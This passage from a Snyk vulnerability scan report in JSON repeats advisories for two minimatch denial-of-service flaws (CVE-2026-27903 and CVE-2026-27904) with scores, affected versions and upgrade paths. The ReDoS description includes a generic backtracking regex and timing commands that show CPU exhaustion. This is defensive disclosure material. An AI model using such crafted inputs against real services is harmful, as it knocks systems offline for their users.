{ "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## 